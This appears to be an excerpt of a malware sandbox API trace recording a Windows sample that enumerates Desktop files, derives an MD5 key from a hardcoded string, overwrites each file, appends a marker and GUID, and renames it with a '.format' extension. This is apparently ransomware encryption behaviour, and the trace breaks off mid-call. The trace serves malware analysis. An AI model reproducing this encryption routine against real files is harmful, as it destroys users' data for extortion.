RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\") returned="_gU8s-ivYxTsofJE\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee728 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\") returned="lAFKNLNIoK0mzGu\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee728 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\") returned="Q3tTjFbyLkyl\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x316c448 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316c448 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.701] PathFindFileNameW (pszPath="") returned="" [0069.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41525dd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2b35ad50, ftLastAccessTime.dwHighDateTime=0x1d4d0f5, ftLastWriteTime.dwLowDateTime=0x2b35ad50, ftLastWriteTime.dwHighDateTime=0x1d4d0f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.702] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41525dd0, ftCreationTime.dwHighDateTime=0x1d4d038, ftLastAccessTime.dwLowDateTime=0x2b35ad50, ftLastAccessTime.dwHighDateTime=0x1d4d0f5, ftLastWriteTime.dwLowDateTime=0x2b35ad50, ftLastWriteTime.dwHighDateTime=0x1d4d0f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.702] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5174ce20, ftCreationTime.dwHighDateTime=0x1d4c744, ftLastAccessTime.dwLowDateTime=0x98394b70, ftLastAccessTime.dwHighDateTime=0x1d4c6bc, ftLastWriteTime.dwLowDateTime=0x98394b70, ftLastWriteTime.dwHighDateTime=0x1d4c6bc, nFileSizeHigh=0x0, nFileSizeLow=0xd489, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="06IT.bmp", cAlternateFileName="")) returned 1 [0069.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\06IT.bmp") returned=".bmp" [0069.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\06IT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\06it.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.702] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=54409) returned 1 [0069.702] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.705] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.705] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.705] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.706] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd489, lpOverlapped=0x0) returned 1 [0069.706] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.706] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.706] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.706] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.706] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.707] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.707] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.707] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.707] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.707] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.707] GetLastError () returned 0x0 [0069.707] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.707] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.707] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd490) returned 0x32b2f40 [0069.707] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.707] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xd484, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xd484, lpOverlapped=0x0) returned 1 [0069.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.708] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd489, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.708] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.708] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.708] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.708] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.708] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.708] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.708] CloseHandle (hObject=0x5c8) returned 1 [0069.710] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.710] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0069.710] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\06IT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\06it.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\06IT.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\06it.bmp.format")) returned 1 [0069.710] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.710] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.711] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.711] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16c732b0, ftCreationTime.dwHighDateTime=0x1d4cb07, ftLastAccessTime.dwLowDateTime=0xb9d847c0, ftLastAccessTime.dwHighDateTime=0x1d4d005, ftLastWriteTime.dwLowDateTime=0xb9d847c0, ftLastWriteTime.dwHighDateTime=0x1d4d005, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8e9tUhNS.mp3", cAlternateFileName="")) returned 1 [0069.711] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.711] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.711] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.711] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\8e9tUhNS.mp3") returned=".mp3" [0069.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\8e9tUhNS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\8e9tuhns.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.712] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=6604) returned 1 [0069.712] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.714] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x19a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.714] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.715] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.715] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.715] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.715] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x19cc, lpOverlapped=0x0) returned 1 [0069.715] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.715] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.715] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.715] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.715] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.716] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.716] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.716] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.716] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.716] GetLastError () returned 0x0 [0069.716] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.716] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.716] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 